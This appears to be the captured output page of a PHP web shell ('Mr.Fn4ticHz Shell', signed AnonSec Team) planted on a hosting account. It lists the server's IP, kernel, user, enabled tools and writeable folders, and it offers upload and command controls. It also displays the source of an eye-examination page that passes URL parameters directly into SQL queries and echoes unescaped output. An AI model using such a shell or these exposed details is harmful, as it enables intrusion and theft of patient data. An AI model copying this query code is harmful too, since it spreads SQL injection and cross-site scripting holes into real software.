Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.14.251.128
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/show_Visual_Acuity_Test.php
     <?php
     session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');

    include("../dbconnection.php");
		$sql2 ="SELECT * FROM save_activity WHERE srno='$_GET[srno]'";
		$qsql2 = mysqli_query($con,$sql2);
		if($re1 = mysqli_fetch_array($qsql2))
		{
		    
		   	include 'dashboarddocument.php';
}
?>
	  

  <?php

include 'fileheader.php';
?>



<h3 align='center'>Visual Acuity Test</h3>
<?php
include("dbconnection.php");
	$sqlpatient = "SELECT * FROM save_activity WHERE  prescriptionid='$_GET[prescriptionid]' AND discription='Examination <br> Visual Acuity Test'";
	$qsqlpatient = mysqli_query($con,$sqlpatient);
	if($rsp = mysqli_fetch_array($qsqlpatient))
	{
	    if($rsp[discription]== 'Examination <br> Visual Acuity Test'){
	        echo"<h4>Doc.no : $rsp[srno]</h4>";

} else{
    echo "";
}
       
	}
$occui=$con->query("SELECT * FROM occutracker WHERE occuid='".$_GET['occuid']."'");
$rowOccui=$occui->fetch_assoc();
?>  
<h4>Examination Id: <b><?php echo $_GET['occuid'] ?> / <?php echo $rowOccui['occu'] ?></b></h4>
<div class="center">

</div>
            <table id="example2" class="table table-bordered table-hover">
                  <thead>
         
						<tr>
						    	<th>Visual Acuity Test</th>
							<th>Right Eye</th>
							<th>Left Eye</th>
							
						</tr>
				
      
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM visual WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND occuid='$_GET[occuid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
     echo " <tbody>
            <tr>
            <td>Un-Aided</td>
                      <td>&nbsp;$rs[Un_right]</td>
                     <td>&nbsp;$rs[Un_left]</td>
                     </tr>
               	 <td>Aided / Present Glass</td>
                      <td>&nbsp;$rs[Aided_right]</td>
                     <td>&nbsp;$rs[Aided_left]</td>
                     </tr>         
          
          ";
          
}

		   
?>   
</table>


<?php
  	$sql ="SELECT * FROM visual WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'  AND occuid='$_GET[occuid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
	    $sql1 ="SELECT * FROM site_users WHERE userno='$rs[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		if($rs1 = mysqli_fetch_array($qsql1))
		{
		    
		 echo"<h5><b> Created & Updated </b><h5>
		 <table id='example2' class='table table-bordered table-hover'>
		 <tr><td width=50%><b>By :</b>$rs1[name] </b><td width='50%'><b>At :</b> $rs[created_at] </tr>";   
		    
		}
		}
		?>
		</table>

Anon7 - 2022
AnonSec Team